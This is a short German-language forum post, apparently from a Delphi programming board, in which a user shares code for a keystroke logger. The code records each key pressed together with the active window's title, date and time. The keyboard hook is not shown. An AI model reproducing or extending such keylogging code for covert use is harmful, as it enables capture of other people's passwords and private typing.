@tom: bei mir nicht ...
und ja es ist gewollt das es doppelt angezeigt wird dadurch kann man sehen wie lang eine taste gedrueckt wurde.
so hab ichs jetzt am ende für mich gemacht
Delphi-Quellcode:
var
MainForm: TMainForm;
accap:integer;
[...]
function ActiveCaption:
string;
var
Handle: THandle;
Len: LongInt;
Title:
string;
begin
Result := '
';
Handle := GetForegroundWindow;
if Handle <> 0
then
begin
Len := GetWindowTextLength(
Handle) + 1;
SetLength(Title, Len);
GetWindowText(
Handle, PChar(Title), Len);
ActiveCaption := TrimRight(Title);
end;
end;
procedure TMainForm.LogKeyPress(Sender: TObject; Key: Char);
begin
if ( GetForegroundWindow <> accap )
then
begin
if memo1.Text <> '
'
then memo1.Text := memo1.Text + #13#10 + #13#10;
memo1.Lines.Add(activecaption + '
' + DateToStr(Date) + '
'+ TimeToStr(Time));
end;
Memo1.SelText:= Key;
accap := GetForegroundWindow;
end;
mfg smallsmoker